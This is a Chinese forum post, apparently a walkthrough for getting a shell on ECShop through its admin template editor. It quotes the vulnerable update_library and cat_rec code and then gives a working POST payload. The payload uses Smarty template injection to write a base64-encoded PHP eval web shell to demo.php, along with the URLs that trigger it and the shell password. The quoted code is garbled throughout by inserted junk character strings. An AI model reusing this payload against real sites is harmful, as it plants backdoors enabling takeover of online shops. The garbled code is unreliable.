Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

5 R1 {( r  P' z1 if ($_REQUEST['act'] == 'update_library')
+ ~- G' J" T3 ?: b
2   

3 {
2 K  @/ h" @6 t. C: h
( a: b# A0 m/ |; X4     check_authz_json('library_manage');

5   
- H# E0 I" _5 g2 ^6 p5 m
3 ?" N! w; G# _6 p$ Q  u6     $html = stripslashes(json_str_iconv($_POST['html']));

9 U) L2 k3 \: H7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   
4 @9 C' S; l, e4 @* A7 N
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
$ O4 I/ A1 n, o) Z9 o6 I- s
7 Z) M7 P9 x9 T, t$ B5 i8 T' `) M* V11   

& f( N1 h8 {$ @+ U; A12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   
# O- p4 X4 v8 ?. N
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
1 l& t3 [6 c7 }: h: @% g- S1 G1 ~
15     {
0 B& s/ t( I3 e/ u
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

1 k  Q* c+ t; I17         make_json_result('', $_LANG['update_lib_success']);
* ]) g( o& n1 g- U, N
% d: w% }+ X& G& s& [  L" M18     }
4 S- P( V0 w3 M) ?; K
/ w* L, t$ ?8 M& v, t3 t' U6 z19     else

20     {
" D( {/ `4 z/ E! R6 N( M: O5 n
2 [6 V0 F" ]) P. K3 K% O21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
$ K) f; j  n* v& |' |3 _- n
22     }

0 ?! k' V0 f% _& M1 G) P# ^23 }

+ g( W$ T+ ~# c$ o那么找个比较方便调用了模板的文件
index.php
  s0 S$ i- w" f8 f' a* o+ J3 @
/ N* W. {; \1 E, c$ a0 ]1 E+ \* ]1 if ($act == 'cat_rec')

' B# n& B+ j( N; j' T. i! f( Y2   
$ l3 q' r  a1 V% m# Q) j
! V7 t& K+ C) R% K. G3 {

4   

$ j" ~) \( k+ j6 c5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   
. X' y0 Q- n0 [5 T6 c2 |; I% f/ {
+ A* T9 Q" ?4 M% G9 i" \0 X$ m9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
( A5 X/ J/ H6 h- }5 h/ z$ [
: x% Z  l; L; N- n) b+ Q10   

; B& e4 I5 E- B3 _0 z11     include_once('includes/cls_json.php');

* J1 Y8 p% t) q0 h12   
: O+ \' o( ]# M# H+ N. x) m
3 o& d, J+ I, U( p1 w* ^0 Y( o13     $json = new JSON;

) i& E2 X" e7 H& o+ Y14   
: A! Z+ \; d8 p% U
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

17     $children = get_children($cat_id);
* {* k  M4 s( O; |- M
18   

: s, D) x3 M9 \( J0 j  o" Z1 U- P19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
# t  u5 n# R4 z+ Q7 e
20   
- d6 w" Q* u& P3 T7 z
21     $smarty->assign('cat_rec_sign', 1);

22   

( @0 j! N0 |9 U) `0 r1 k23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   
* G% V9 ?2 s  |; w, C$ h
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
& c/ h+ I5 x+ L& n" i" x
* G# J8 z% x/ S: Q: U( j26   

27         echo $rec_array[$rec_type];
! \/ P0 ]0 `1 S8 e7 R  r. m0 z
' @3 X1 P; j3 ]% G/ U6 c9 Y; \6 F, |28   
3 D, Y1 f6 d/ A( O7 ]) m  `/ A& j
2 o1 V/ [$ O" H3 O; G2 x29     die($json->encode($result));
, y. z; w- X4 ~2 B4 ^8 z1 h& c
30   
7 Y# U7 m: h% r( ?# I
31 }

' R+ \( e* [4 C  `# ^1 S* r那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
$ Y9 p$ m' }5 W: g# H) F8 yPost内容：
4 l. m6 q- x7 C. P; Y
​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
2 ?# U! \8 [! m
) U8 L+ h# g" T' h5 f然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
) }) o  K% e4 U密码c
( k8 ~# Z4 k" J# Q
* }, D( z& W; z% Y" F! Z